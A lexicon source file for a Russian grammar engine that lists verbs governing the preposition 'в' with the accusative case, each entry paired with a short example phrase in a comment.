rus_verbs:впутаться{}, // впутаться во что-то
rus_verbs:впутывать{}, // впутывать кого-то во что-то
rus_verbs:впутываться{}, // впутываться во что-то
rus_verbs:врабатываться{}, // врабатываться в режим
rus_verbs:вработаться{}, // вработаться в режим
rus_verbs:врастать{}, // врастать в кожу
rus_verbs:врасти{}, // врасти в кожу
инфинитив:врезать{ вид:несоверш }, // врезать замок в дверь
инфинитив:врезать{ вид:соверш },
глагол:врезать{ вид:несоверш },
глагол:врезать{ вид:соверш },
деепричастие:врезая{},
деепричастие:врезав{},
прилагательное:врезанный{},
инфинитив:врезаться{ вид:несоверш }, // врезаться в стену
инфинитив:врезаться{ вид:соверш },
глагол:врезаться{ вид:несоверш },
деепричастие:врезаясь{},
деепричастие:врезавшись{},
rus_verbs:врубить{}, // врубить в нагрузку
rus_verbs:врываться{}, // врываться в здание
rus_verbs:закачивать{}, // Насос закачивает топливо в бак
rus_verbs:ввезти{}, // Предприятие ввезло товар в страну
rus_verbs:вверстать{}, // Дизайнер вверстал блок в страницу
rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу
rus_verbs:вверстываться{}, // Блок тяжело вверстывается в эту страницу
rus_verbs:ввивать{}, // Женщина ввивает полоску в косу
rus_verbs:вволакиваться{}, // Пойманная мышь вволакивается котиком в дом
rus_verbs:вволочь{}, // Кот вволок в дом пойманную крысу
rus_verbs:вдергивать{}, // приспособление вдергивает нитку в игольное ушко
rus_verbs:вдернуть{}, // приспособление вдернуло нитку в игольное ушко
rus_verbs:вдувать{}, // Челоек вдувает воздух в легкие второго человека
rus_verbs:вдуваться{}, // Воздух вдувается в легкие человека
rus_verbs:вламываться{}, // Полиция вламывается в квартиру
rus_verbs:вовлекаться{}, // трудные подростки вовлекаются в занятие спортом
rus_verbs:вовлечь{}, // вовлечь трудных подростков в занятие спортом
rus_verbs:вовлечься{}, // вовлечься в занятие спортом
rus_verbs:спуститься{}, // спуститься в подвал
rus_verbs:спускаться{}, // спускаться в подвал
rus_verbs:отправляться{}, // отправляться в дальнее плавание
инфинитив:эмитировать{ вид:соверш }, // Поверхность эмитирует электроны в пространство
инфинитив:эмитировать{ вид:несоверш },
глагол:эмитировать{ вид:соверш },
глагол:эмитировать{ вид:несоверш },
деепричастие:эмитируя{},
деепричастие:эмитировав{},
прилагательное:эмитировавший{ вид:несоверш },
// прилагательное:эмитировавший{ вид:соверш },
прилагательное:эмитирующий{},
прилагательное:эмитируемый{},
прилагательное:эмитированный{},
инфинитив:этапировать{вид:несоверш}, // Преступника этапировали в колонию
инфинитив:этапировать{вид:соверш},
глагол:этапировать{вид:несоверш},
глагол:этапировать{вид:соверш},
деепричастие:этапируя{},
прилагательное:этапируемый{},
прилагательное:этапированный{},
rus_verbs:этапироваться{}, // Преступники этапируются в колонию
rus_verbs:баллотироваться{}, // они баллотировались в жюри
rus_verbs:бежать{}, // Олигарх с семьей любовницы бежал в другую страну
rus_verbs:бросать{}, // Они бросали в фонтан медные монетки
rus_verbs:бросаться{}, // Дети бросались в воду с моста
rus_verbs:бросить{}, // Он бросил в фонтан медную монетку
rus_verbs:броситься{}, // самоубийца бросился с моста в воду
rus_verbs:превратить{}, // Найден белок, который превратит человека в супергероя
rus_verbs:буксировать{}, // Буксир буксирует танкер в порт
rus_verbs:буксироваться{}, // Сухогруз буксируется в порт
rus_verbs:вбегать{}, // Курьер вбегает в дверь
rus_verbs:вбежать{}, // Курьер вбежал в дверь
rus_verbs:вбетонировать{}, // Опора была вбетонирована в пол
rus_verbs:вбивать{}, // Мастер вбивает штырь в плиту
rus_verbs:вбиваться{}, // Штырь вбивается в плиту
rus_verbs:вбирать{}, // Вата вбирает в себя влагу
rus_verbs:вбить{}, // Ученик вбил в доску маленький гвоздь
rus_verbs:вбрасывать{}, // Арбитр вбрасывает мяч в игру
rus_verbs:вбрасываться{}, // Мяч вбрасывается в игру
rus_verbs:вбросить{}, // Судья вбросил мяч в игру
rus_verbs:вбуравиться{}, // Сверло вбуравилось в бетон
rus_verbs:вбуравливаться{}, // Сверло вбуравливается в бетон
rus_verbs:вбухиваться{}, // Много денег вбухиваются в этот проект
rus_verbs:вваливаться{}, // Человек вваливается в кабинет врача
rus_verbs:ввалить{}, // Грузчики ввалили мешок в квартиру
rus_verbs:ввалиться{}, // Человек ввалился в кабинет терапевта
rus_verbs:вваривать{}, // Робот вваривает арматурину в плиту
rus_verbs:ввариваться{}, // Арматура вваривается в плиту
rus_verbs:вварить{}, // Робот вварил арматурину в плиту
rus_verbs:влезть{}, // Предприятие ввезло товар в страну
rus_verbs:ввернуть{}, // Вверни новую лампочку в люстру
rus_verbs:ввернуться{}, // Лампочка легко ввернулась в патрон
rus_verbs:ввертывать{}, // Электрик ввертывает лампочку в патрон
rus_verbs:ввертываться{}, // Лампочка легко ввертывается в патрон
rus_verbs:вверять{}, // Пациент вверяет свою жизнь в руки врача
rus_verbs:вверяться{}, // Пациент вверяется в руки врача
rus_verbs:ввести{}, // Агенство ввело своего представителя в совет директоров
rus_verbs:ввиваться{}, // полоска ввивается в косу
rus_verbs:ввинтить{}, // Отвертка ввинтила шуруп в дерево
rus_verbs:ввинтиться{}, // Шуруп ввинтился в дерево
rus_verbs:ввинчивать{}, // Рука ввинчивает саморез в стену
rus_verbs:ввинчиваться{}, // Саморез ввинчивается в стену
rus_verbs:вводить{}, // Агенство вводит своего представителя в совет директоров
rus_verbs:вводиться{}, // Представитель агенства вводится в совет директоров
// rus_verbs:ввозить{}, // Фирма ввозит в страну станки и сырье
rus_verbs:ввозиться{}, // Станки и сырье ввозятся в страну
rus_verbs:вволакивать{}, // Пойманная мышь вволакивается котиком в дом
rus_verbs:вворачивать{}, // Электрик вворачивает новую лампочку в патрон
rus_verbs:вворачиваться{}, // Новая лампочка легко вворачивается в патрон
rus_verbs:ввязаться{}, // Разведрота ввязалась в бой
rus_verbs:ввязываться{}, // Передовые части ввязываются в бой
rus_verbs:вглядеться{}, // Охранник вгляделся в темный коридор
rus_verbs:вглядываться{}, // Охранник внимательно вглядывается в монитор
rus_verbs:вгонять{}, // Эта музыка вгоняет меня в депрессию
rus_verbs:вгрызаться{}, // Зонд вгрызается в поверхность астероида
rus_verbs:вгрызться{}, // Зонд вгрызся в поверхность астероида
rus_verbs:вдаваться{}, // Вы не должны вдаваться в юридические детали
rus_verbs:вдвигать{}, // Робот вдвигает контейнер в ячейку
rus_verbs:вдвигаться{}, // Контейнер вдвигается в ячейку
rus_verbs:вдвинуть{}, // манипулятор вдвинул деталь в печь
rus_verbs:вдвинуться{}, // деталь вдвинулась в печь
rus_verbs:вдевать{}, // портниха быстро вдевает нитку в иголку
rus_verbs:вдеваться{}, // нитка быстро вдевается в игольное ушко
rus_verbs:вдеть{}, // портниха быстро вдела нитку в игольное ушко
rus_verbs:вдеться{}, // нитка быстро вделась в игольное ушко
rus_verbs:вделать{}, // мастер вделал розетку в стену
rus_verbs:вделывать{}, // мастер вделывает выключатель в стену
rus_verbs:вделываться{}, // кронштейн вделывается в стену
rus_verbs:вдергиваться{}, // нитка легко вдергивается в игольное ушко
rus_verbs:вдернуться{}, // нитка легко вдернулась в игольное ушко
rus_verbs:вдолбить{}, // Американцы обещали вдолбить страну в каменный век
rus_verbs:вдумываться{}, // Мальчик обычно не вдумывался в сюжет фильмов
rus_verbs:вдыхать{}, // мы вдыхаем в себя весь этот смог
rus_verbs:вдыхаться{}, // Весь этот смог вдыхается в легкие
rus_verbs:вернуть{}, // Книгу надо вернуть в библиотеку
rus_verbs:вернуться{}, // Дети вернулись в библиотеку
rus_verbs:вжаться{}, // Водитель вжался в кресло
rus_verbs:вживаться{}, // Актер вживается в новую роль
rus_verbs:вживить{}, // Врачи вживили стимулятор в тело пациента
rus_verbs:вживиться{}, // Стимулятор вживился в тело пациента
rus_verbs:вживлять{}, // Врачи вживляют стимулятор в тело пациента
rus_verbs:вживляться{}, // Стимулятор вживляется в тело
rus_verbs:вжиматься{}, // Видитель инстинктивно вжимается в кресло
rus_verbs:вжиться{}, // Актер вжился в свою новую роль
rus_verbs:взвиваться{}, // Воздушный шарик взвивается в небо
rus_verbs:взвинтить{}, // Кризис взвинтил цены в небо
rus_verbs:взвинтиться{}, // Цены взвинтились в небо
rus_verbs:взвинчивать{}, // Кризис взвинчивает цены в небо
rus_verbs:взвинчиваться{}, // Цены взвинчиваются в небо
rus_verbs:взвиться{}, // Шарики взвились в небо
rus_verbs:взлетать{}, // Экспериментальный аппарат взлетает в воздух
rus_verbs:взлететь{}, // Экспериментальный аппарат взлетел в небо
rus_verbs:взмывать{}, // шарики взмывают в небо
rus_verbs:взмыть{}, // Шарики взмыли в небо
rus_verbs:вильнуть{}, // Машина вильнула в левую сторону
rus_verbs:вкалывать{}, // Медсестра вкалывает иглу в вену
rus_verbs:вкалываться{}, // Игла вкалываться прямо в вену
rus_verbs:вкапывать{}, // рабочий вкапывает сваю в землю
rus_verbs:вкапываться{}, // Свая вкапывается в землю
rus_verbs:вкатить{}, // рабочие вкатили бочку в гараж
rus_verbs:вкатиться{}, // машина вкатилась в гараж
rus_verbs:вкатывать{}, // рабочик вкатывают бочку в гараж
rus_verbs:вкатываться{}, // машина вкатывается в гараж
rus_verbs:вкачать{}, // Механики вкачали в бак много топлива
rus_verbs:вкачивать{}, // Насос вкачивает топливо в бак
rus_verbs:вкачиваться{}, // Топливо вкачивается в бак
rus_verbs:вкидать{}, // Манипулятор вкидал груз в контейнер
rus_verbs:вкидывать{}, // Манипулятор вкидывает груз в контейнер
rus_verbs:вкидываться{}, // Груз вкидывается в контейнер
rus_verbs:вкладывать{}, // Инвестор вкладывает деньги в акции
rus_verbs:вкладываться{}, // Инвестор вкладывается в акции
rus_verbs:вклеивать{}, // Мальчик вклеивает картинку в тетрадь
rus_verbs:вклеиваться{}, // Картинка вклеивается в тетрадь
rus_verbs:вклеить{}, // Мальчик вклеил картинку в тетрадь
rus_verbs:вклеиться{}, // Картинка вклеилась в тетрадь
rus_verbs:вклепать{}, // Молоток вклепал заклепку в лист
rus_verbs:вклепывать{}, // Молоток вклепывает заклепку в лист
rus_verbs:вклиниваться{}, // Машина вклинивается в поток
rus_verbs:вклиниться{}, // машина вклинилась в поток
rus_verbs:включать{}, // Команда включает компьютер в сеть
rus_verbs:включаться{}, // Машина включается в глобальную сеть
rus_verbs:включить{}, // Команда включила компьютер в сеть
rus_verbs:включиться{}, // Компьютер включился в сеть
rus_verbs:вколачивать{}, // Столяр вколачивает гвоздь в доску
rus_verbs:вколачиваться{}, // Гвоздь вколачивается в доску
rus_verbs:вколотить{}, // Столяр вколотил гвоздь в доску
rus_verbs:вколоть{}, // Медсестра вколола в мышцу лекарство
rus_verbs:вкопать{}, // Рабочие вкопали сваю в землю
rus_verbs:вкрадываться{}, // Ошибка вкрадывается в расчеты
rus_verbs:вкраивать{}, // Портниха вкраивает вставку в юбку
rus_verbs:вкраиваться{}, // Вставка вкраивается в юбку
rus_verbs:вкрасться{}, // Ошибка вкралась в расчеты
rus_verbs:вкрутить{}, // Электрик вкрутил лампочку в патрон
rus_verbs:вкрутиться{}, // лампочка легко вкрутилась в патрон
rus_verbs:вкручивать{}, // Электрик вкручивает лампочку в патрон
rus_verbs:вкручиваться{}, // Лампочка легко вкручивается в патрон
rus_verbs:влазить{}, // Разъем влазит в отверствие
rus_verbs:вламывать{}, // Полиция вламывается в квартиру
rus_verbs:влетать{}, // Самолет влетает в грозовой фронт
rus_verbs:влететь{}, // Самолет влетел в грозовой фронт
rus_verbs:вливать{}, // Механик вливает масло в картер
rus_verbs:вливаться{}, // Масло вливается в картер
rus_verbs:влипать{}, // Эти неудачники постоянно влипают в разные происшествия
rus_verbs:влипнуть{}, // Эти неудачники опять влипли в неприятности
rus_verbs:влить{}, // Механик влил свежее масло в картер
rus_verbs:влиться{}, // Свежее масло влилось в бак
rus_verbs:вложить{}, // Инвесторы вложили в эти акции большие средства
rus_verbs:вложиться{}, // Инвесторы вложились в эти акции
rus_verbs:влюбиться{}, // Коля влюбился в Олю
rus_verbs:влюблять{}, // Оля постоянно влюбляла в себя мальчиков
rus_verbs:влюбляться{}, // Оля влюбляется в спортсменов
rus_verbs:вляпаться{}, // Коля вляпался в неприятность
rus_verbs:вляпываться{}, // Коля постоянно вляпывается в неприятности
rus_verbs:вменить{}, // вменить в вину
rus_verbs:вменять{}, // вменять в обязанность
rus_verbs:вмерзать{}, // Колеса вмерзают в лед
rus_verbs:вмерзнуть{}, // Колеса вмерзли в лед
rus_verbs:вмести{}, // вмести в дом
rus_verbs:вместить{}, // вместить в ёмкость
rus_verbs:вместиться{}, // Прибор не вместился в зонд
rus_verbs:вмешаться{}, // Начальник вмешался в конфликт
rus_verbs:вмешивать{}, // Не вмешивай меня в это дело
rus_verbs:вмешиваться{}, // Начальник вмешивается в переговоры
rus_verbs:вмещаться{}, // Приборы не вмещаются в корпус
rus_verbs:вминать{}, // вминать в корпус
rus_verbs:вминаться{}, // кронштейн вминается в корпус
rus_verbs:вмонтировать{}, // Конструкторы вмонтировали в корпус зонда новые приборы
rus_verbs:вмонтироваться{}, // Новые приборы легко вмонтировались в корпус зонда
rus_verbs:вмораживать{}, // Установка вмораживает сваи в грунт
rus_verbs:вмораживаться{}, // Сваи вмораживаются в грунт
rus_verbs:вморозить{}, // Установка вморозила сваи в грунт
rus_verbs:вмуровать{}, // Сейф был вмурован в стену
rus_verbs:вмуровывать{}, // вмуровывать сейф в стену
rus_verbs:вмуровываться{}, // сейф вмуровывается в бетонную стену
rus_verbs:внедрить{}, // внедрить инновацию в производство
rus_verbs:внедриться{}, // Шпион внедрился в руководство
rus_verbs:внедрять{}, // внедрять инновации в производство
rus_verbs:внедряться{}, // Шпионы внедряются в руководство
rus_verbs:внести{}, // внести коробку в дом
rus_verbs:внестись{}, // внестись в список приглашенных гостей
rus_verbs:вникать{}, // Разработчик вникает в детали задачи
rus_verbs:вникнуть{}, // Дизайнер вник в детали задачи
rus_verbs:вносить{}, // вносить новое действующее лицо в список главных героев
rus_verbs:вноситься{}, // вноситься в список главных персонажей
rus_verbs:внюхаться{}, // Пёс внюхался в ароматы леса
rus_verbs:внюхиваться{}, // Пёс внюхивается в ароматы леса
rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями
rus_verbs:вовлекать{}, // вовлекать трудных подростков в занятие спортом
rus_verbs:вогнать{}, // вогнал человека в тоску
rus_verbs:водворить{}, // водворить преступника в тюрьму
rus_verbs:возвернуть{}, // возвернуть в родную стихию
rus_verbs:возвернуться{}, // возвернуться в родную стихию
rus_verbs:возвести{}, // возвести число в четную степень
rus_verbs:возводить{}, // возводить число в четную степень
rus_verbs:возводиться{}, // число возводится в четную степень
rus_verbs:возвратить{}, // возвратить коров в стойло
rus_verbs:возвратиться{}, // возвратиться в родной дом
rus_verbs:возвращать{}, // возвращать коров в стойло
rus_verbs:возвращаться{}, // возвращаться в родной дом
rus_verbs:войти{}, // войти в галерею славы
rus_verbs:вонзать{}, // Коля вонзает вилку в котлету
rus_verbs:вонзаться{}, // Вилка вонзается в котлету
rus_verbs:вонзить{}, // Коля вонзил вилку в котлету
rus_verbs:вонзиться{}, // Вилка вонзилась в сочную котлету
rus_verbs:воплотить{}, // Коля воплотил свои мечты в реальность
rus_verbs:воплотиться{}, // Мечты воплотились в реальность
rus_verbs:воплощать{}, // Коля воплощает мечты в реальность
rus_verbs:воплощаться{}, // Мечты иногда воплощаются в реальность
rus_verbs:ворваться{}, // Перемены неожиданно ворвались в размеренную жизнь
rus_verbs:воспарить{}, // Душа воспарила в небо
rus_verbs:воспарять{}, // Душа воспаряет в небо
rus_verbs:врыть{}, // врыть опору в землю
rus_verbs:врыться{}, // врыться в землю
rus_verbs:всадить{}, // всадить пулю в сердце
rus_verbs:всаживать{}, // всаживать нож в бок
rus_verbs:всасывать{}, // всасывать воду в себя
rus_verbs:всасываться{}, // всасываться в ёмкость
rus_verbs:вселить{}, // вселить надежду в кого-либо
rus_verbs:вселиться{}, // вселиться в пустующее здание
rus_verbs:вселять{}, // вселять надежду в кого-то
rus_verbs:вселяться{}, // вселяться в пустующее здание
rus_verbs:вскидывать{}, // вскидывать руку в небо
rus_verbs:вскинуть{}, // вскинуть руку в небо
rus_verbs:вслушаться{}, // вслушаться в звуки
rus_verbs:вслушиваться{}, // вслушиваться в шорох
rus_verbs:всматриваться{}, // всматриваться в темноту
rus_verbs:всмотреться{}, // всмотреться в темень
rus_verbs:всовывать{}, // всовывать палец в отверстие
rus_verbs:всовываться{}, // всовываться в форточку
rus_verbs:всосать{}, // всосать жидкость в себя
rus_verbs:всосаться{}, // всосаться в кожу
rus_verbs:вставить{}, // вставить ключ в замок
rus_verbs:вставлять{}, // вставлять ключ в замок
rus_verbs:встраивать{}, // встраивать черный ход в систему защиты
rus_verbs:встраиваться{}, // встраиваться в систему безопасности
rus_verbs:встревать{}, // встревать в разговор
rus_verbs:встроить{}, // встроить секретный модуль в систему безопасности
rus_verbs:встроиться{}, // встроиться в систему безопасности
rus_verbs:встрять{}, // встрять в разговор
rus_verbs:вступать{}, // вступать в действующую армию
rus_verbs:вступить{}, // вступить в действующую армию
rus_verbs:всунуть{}, // всунуть палец в отверстие
rus_verbs:всунуться{}, // всунуться в форточку
инфинитив:всыпать{вид:соверш}, // всыпать порошок в контейнер
инфинитив:всыпать{вид:несоверш},
глагол:всыпать{вид:соверш},
глагол:всыпать{вид:несоверш},
деепричастие:всыпав{},
деепричастие:всыпая{},
прилагательное:всыпавший{ вид:соверш },
// прилагательное:всыпавший{ вид:несоверш },
прилагательное:всыпанный{},
// прилагательное:всыпающий{},
инфинитив:всыпаться{ вид:несоверш}, // всыпаться в контейнер
// инфинитив:всыпаться{ вид:соверш},
// глагол:всыпаться{ вид:соверш},
глагол:всыпаться{ вид:несоверш},
// деепричастие:всыпавшись{},
деепричастие:всыпаясь{},
// прилагательное:всыпавшийся{ вид:соверш },
// прилагательное:всыпавшийся{ вид:несоверш },
// прилагательное:всыпающийся{},
rus_verbs:вталкивать{}, // вталкивать деталь в ячейку
rus_verbs:вталкиваться{}, // вталкиваться в ячейку
rus_verbs:втаптывать{}, // втаптывать в грязь
rus_verbs:втаптываться{}, // втаптываться в грязь
rus_verbs:втаскивать{}, // втаскивать мешок в комнату
rus_verbs:втаскиваться{}, // втаскиваться в комнату
rus_verbs:втащить{}, // втащить мешок в комнату
rus_verbs:втащиться{}, // втащиться в комнату
rus_verbs:втекать{}, // втекать в бутылку
rus_verbs:втемяшивать{}, // втемяшивать в голову
rus_verbs:втемяшиваться{}, // втемяшиваться в голову
rus_verbs:втемяшить{}, // втемяшить в голову
rus_verbs:втемяшиться{}, // втемяшиться в голову
rus_verbs:втереть{}, // втереть крем в кожу
rus_verbs:втереться{}, // втереться в кожу
rus_verbs:втесаться{}, // втесаться в группу
rus_verbs:втесывать{}, // втесывать в группу
rus_verbs:втесываться{}, // втесываться в группу
rus_verbs:втечь{}, // втечь в бак
rus_verbs:втирать{}, // втирать крем в кожу
rus_verbs:втираться{}, // втираться в кожу
rus_verbs:втискивать{}, // втискивать сумку в вагон
rus_verbs:втискиваться{}, // втискиваться в переполненный вагон
rus_verbs:втиснуть{}, // втиснуть сумку в вагон
rus_verbs:втиснуться{}, // втиснуться в переполненный вагон метро
rus_verbs:втолкать{}, // втолкать коляску в лифт
rus_verbs:втолкаться{}, // втолкаться в вагон метро
rus_verbs:втолкнуть{}, // втолкнуть коляску в лифт
rus_verbs:втолкнуться{}, // втолкнуться в вагон метро
rus_verbs:втолочь{}, // втолочь в смесь
rus_verbs:втоптать{}, // втоптать цветы в землю
rus_verbs:вторгаться{}, // вторгаться в чужую зону
rus_verbs:вторгнуться{}, // вторгнуться в частную жизнь
rus_verbs:втравить{}, // втравить кого-то в неприятности
rus_verbs:втравливать{}, // втравливать кого-то в неприятности
rus_verbs:втрамбовать{}, // втрамбовать камни в землю
rus_verbs:втрамбовывать{}, // втрамбовывать камни в землю
rus_verbs:втрамбовываться{}, // втрамбовываться в землю
rus_verbs:втрескаться{}, // втрескаться в кого-то
rus_verbs:втрескиваться{}, // втрескиваться в кого-либо
rus_verbs:втыкать{}, // втыкать вилку в котлетку
rus_verbs:втыкаться{}, // втыкаться в розетку
rus_verbs:втюриваться{}, // втюриваться в кого-либо
rus_verbs:втюриться{}, // втюриться в кого-либо
rus_verbs:втягивать{}, // втягивать что-то в себя
rus_verbs:втягиваться{}, // втягиваться в себя
rus_verbs:втянуться{}, // втянуться в себя
rus_verbs:вцементировать{}, // вцементировать сваю в фундамент
rus_verbs:вчеканить{}, // вчеканить надпись в лист
rus_verbs:вчитаться{}, // вчитаться внимательнее в текст
rus_verbs:вчитываться{}, // вчитываться внимательнее в текст
rus_verbs:вчувствоваться{}, // вчувствоваться в роль
rus_verbs:вшагивать{}, // вшагивать в новую жизнь
rus_verbs:вшагнуть{}, // вшагнуть в новую жизнь
rus_verbs:вшивать{}, // вшивать заплату в рубашку
rus_verbs:вшиваться{}, // вшиваться в ткань
rus_verbs:вшить{}, // вшить заплату в ткань
rus_verbs:въедаться{}, // въедаться в мякоть
rus_verbs:въезжать{}, // въезжать в гараж
rus_verbs:въехать{}, // въехать в гараж
rus_verbs:выиграть{}, // Коля выиграл в шахматы
rus_verbs:выигрывать{}, // Коля часто выигрывает у меня в шахматы
rus_verbs:выкладывать{}, // выкладывать в общий доступ
rus_verbs:выкладываться{}, // выкладываться в общий доступ
rus_verbs:выкрасить{}, // выкрасить машину в розовый цвет
rus_verbs:выкраситься{}, // выкраситься в дерзкий розовый цвет
rus_verbs:выкрашивать{}, // выкрашивать волосы в красный цвет
rus_verbs:выкрашиваться{}, // выкрашиваться в красный цвет
rus_verbs:вылезать{}, // вылезать в открытое пространство
rus_verbs:вылезти{}, // вылезти в открытое пространство
rus_verbs:выливать{}, // выливать в бутылку
rus_verbs:выливаться{}, // выливаться в ёмкость
rus_verbs:вылить{}, // вылить отходы в канализацию
rus_verbs:вылиться{}, // Топливо вылилось в воду
rus_verbs:выложить{}, // выложить в общий доступ
rus_verbs:выпадать{}, // выпадать в осадок
rus_verbs:выпрыгивать{}, // выпрыгивать в окно
rus_verbs:выпрыгнуть{}, // выпрыгнуть в окно
rus_verbs:выродиться{}, // выродиться в жалкое подобие
rus_verbs:вырождаться{}, // вырождаться в жалкое подобие славных предков
rus_verbs:высеваться{}, // высеваться в землю
rus_verbs:высеять{}, // высеять в землю
rus_verbs:выслать{}, // выслать в страну постоянного пребывания
rus_verbs:высморкаться{}, // высморкаться в платок
rus_verbs:высморкнуться{}, // высморкнуться в платок
rus_verbs:выстреливать{}, // выстреливать в цель
rus_verbs:выстреливаться{}, // выстреливаться в цель
rus_verbs:выстрелить{}, // выстрелить в цель
rus_verbs:вытекать{}, // вытекать в озеро
rus_verbs:вытечь{}, // вытечь в воду
rus_verbs:смотреть{}, // смотреть в будущее
rus_verbs:подняться{}, // подняться в лабораторию
rus_verbs:послать{}, // послать в магазин
rus_verbs:слать{}, // слать в неизвестность
rus_verbs:добавить{}, // добавить в суп
rus_verbs:пройти{}, // пройти в лабораторию
rus_verbs:положить{}, // положить в ящик
rus_verbs:прислать{}, // прислать в полицию
rus_verbs:упасть{}, // упасть в пропасть
инфинитив:писать{ aux stress="пис^ать" }, // писать в газету
инфинитив:писать{ aux stress="п^исать" }, // писать в штанишки
глагол:писать{ aux stress="п^исать" },
глагол:писать{ aux stress="пис^ать" },
деепричастие:писая{},
прилагательное:писавший{ aux stress="п^исавший" }, // писавший в штанишки
прилагательное:писавший{ aux stress="пис^авший" }, // писавший в газету
rus_verbs:собираться{}, // собираться в поход
rus_verbs:звать{}, // звать в ресторан
rus_verbs:направиться{}, // направиться в ресторан
rus_verbs:отправиться{}, // отправиться в ресторан
rus_verbs:поставить{}, // поставить в угол
rus_verbs:целить{}, // целить в мишень
rus_verbs:попасть{}, // попасть в переплет
rus_verbs:ударить{}, // ударить в больное место
rus_verbs:закричать{}, // закричать в микрофон
rus_verbs:опустить{}, // опустить в воду
rus_verbs:принести{}, // принести в дом бездомного щенка
rus_verbs:отдать{}, // отдать в хорошие руки
rus_verbs:ходить{}, // ходить в школу
rus_verbs:уставиться{}, // уставиться в экран
rus_verbs:приходить{}, // приходить в бешенство
rus_verbs:махнуть{}, // махнуть в Италию
rus_verbs:сунуть{}, // сунуть в замочную скважину
rus_verbs:явиться{}, // явиться в расположение части
rus_verbs:уехать{}, // уехать в город
rus_verbs:целовать{}, // целовать в лобик
rus_verbs:повести{}, // повести в бой
rus_verbs:опуститься{}, // опуститься в кресло
rus_verbs:передать{}, // передать в архив
rus_verbs:побежать{}, // побежать в школу
rus_verbs:стечь{}, // стечь в воду
rus_verbs:уходить{}, // уходить добровольцем в армию
rus_verbs:привести{}, // привести в дом
rus_verbs:шагнуть{}, // шагнуть в неизвестность
rus_verbs:собраться{}, // собраться в поход
rus_verbs:заглянуть{}, // заглянуть в основу
rus_verbs:поспешить{}, // поспешить в церковь
rus_verbs:поцеловать{}, // поцеловать в лоб
rus_verbs:перейти{}, // перейти в высшую лигу
rus_verbs:поверить{}, // поверить в искренность
rus_verbs:глянуть{}, // глянуть в оглавление
rus_verbs:зайти{}, // зайти в кафетерий
rus_verbs:подобрать{}, // подобрать в лесу
rus_verbs:проходить{}, // проходить в помещение
rus_verbs:глядеть{}, // глядеть в глаза
rus_verbs:пригласить{}, // пригласить в театр
rus_verbs:позвать{}, // позвать в класс
rus_verbs:усесться{}, // усесться в кресло
rus_verbs:поступить{}, // поступить в институт
rus_verbs:лечь{}, // лечь в постель
rus_verbs:поклониться{}, // поклониться в пояс
rus_verbs:потянуться{}, // потянуться в лес
rus_verbs:колоть{}, // колоть в ягодицу
rus_verbs:присесть{}, // присесть в кресло
rus_verbs:оглядеться{}, // оглядеться в зеркало
rus_verbs:поглядеть{}, // поглядеть в зеркало
rus_verbs:превратиться{}, // превратиться в лягушку
rus_verbs:принимать{}, // принимать во внимание
rus_verbs:звонить{}, // звонить в колокола
rus_verbs:привезти{}, // привезти в гостиницу
rus_verbs:рухнуть{}, // рухнуть в пропасть
rus_verbs:пускать{}, // пускать в дело
rus_verbs:отвести{}, // отвести в больницу
rus_verbs:сойти{}, // сойти в ад
rus_verbs:набрать{}, // набрать в команду
rus_verbs:собрать{}, // собрать в кулак
rus_verbs:двигаться{}, // двигаться в каюту
rus_verbs:падать{}, // падать в область нуля
rus_verbs:полезть{}, // полезть в драку
rus_verbs:направить{}, // направить в стационар
rus_verbs:приводить{}, // приводить в чувство
rus_verbs:толкнуть{}, // толкнуть в бок
rus_verbs:кинуться{}, // кинуться в драку
rus_verbs:ткнуть{}, // ткнуть в глаз
rus_verbs:заключить{}, // заключить в объятия
rus_verbs:подниматься{}, // подниматься в небо
rus_verbs:расти{}, // расти в глубину
rus_verbs:налить{}, // налить в кружку
rus_verbs:швырнуть{}, // швырнуть в бездну
rus_verbs:прыгнуть{}, // прыгнуть в дверь
rus_verbs:промолчать{}, // промолчать в тряпочку
rus_verbs:садиться{}, // садиться в кресло
rus_verbs:лить{}, // лить в кувшин
rus_verbs:дослать{}, // дослать деталь в держатель
rus_verbs:переслать{}, // переслать в обработчик
rus_verbs:удалиться{}, // удалиться в совещательную комнату
rus_verbs:разглядывать{}, // разглядывать в бинокль
rus_verbs:повесить{}, // повесить в шкаф
инфинитив:походить{ вид:соверш }, // походить в институт
глагол:походить{ вид:соверш },
деепричастие:походив{},
// прилагательное:походивший{вид:соверш},
rus_verbs:помчаться{}, // помчаться в класс
rus_verbs:свалиться{}, // свалиться в яму
rus_verbs:сбежать{}, // сбежать в Англию
rus_verbs:стрелять{}, // стрелять в цель
rus_verbs:обращать{}, // обращать в свою веру
rus_verbs:завести{}, // завести в дом
rus_verbs:приобрести{}, // приобрести в рассрочку
rus_verbs:сбросить{}, // сбросить в яму
rus_verbs:устроиться{}, // устроиться в крупную корпорацию
rus_verbs:погрузиться{}, // погрузиться в пучину
rus_verbs:течь{}, // течь в канаву
rus_verbs:произвести{}, // произвести в звание майора
rus_verbs:метать{}, // метать в цель
rus_verbs:пустить{}, // пустить в дело
rus_verbs:полететь{}, // полететь в Европу
rus_verbs:пропустить{}, // пропустить в здание
rus_verbs:рвануть{}, // рвануть в отпуск
rus_verbs:заходить{}, // заходить в каморку
rus_verbs:нырнуть{}, // нырнуть в прорубь
rus_verbs:рвануться{}, // рвануться в атаку
rus_verbs:приподняться{}, // приподняться в воздух
rus_verbs:превращаться{}, // превращаться в крупную величину
rus_verbs:прокричать{}, // прокричать в ухо
rus_verbs:записать{}, // записать в блокнот
rus_verbs:забраться{}, // забраться в шкаф
rus_verbs:приезжать{}, // приезжать в деревню
rus_verbs:продать{}, // продать в рабство
rus_verbs:проникнуть{}, // проникнуть в центр
rus_verbs:устремиться{}, // устремиться в открытое море
rus_verbs:посадить{}, // посадить в кресло
rus_verbs:упереться{}, // упереться в пол
rus_verbs:ринуться{}, // ринуться в буфет
rus_verbs:отдавать{}, // отдавать в кадетское училище
rus_verbs:отложить{}, // отложить в долгий ящик
rus_verbs:убежать{}, // убежать в приют
rus_verbs:оценить{}, // оценить в миллион долларов
rus_verbs:поднимать{}, // поднимать в стратосферу
rus_verbs:отослать{}, // отослать в квалификационную комиссию
rus_verbs:отодвинуть{}, // отодвинуть в дальний угол
rus_verbs:торопиться{}, // торопиться в школу
rus_verbs:попадаться{}, // попадаться в руки
rus_verbs:поразить{}, // поразить в самое сердце
rus_verbs:доставить{}, // доставить в квартиру
rus_verbs:заслать{}, // заслать в тыл
rus_verbs:сослать{}, // сослать в изгнание
rus_verbs:запустить{}, // запустить в космос
rus_verbs:удариться{}, // удариться в запой
rus_verbs:ударяться{}, // ударяться в крайность
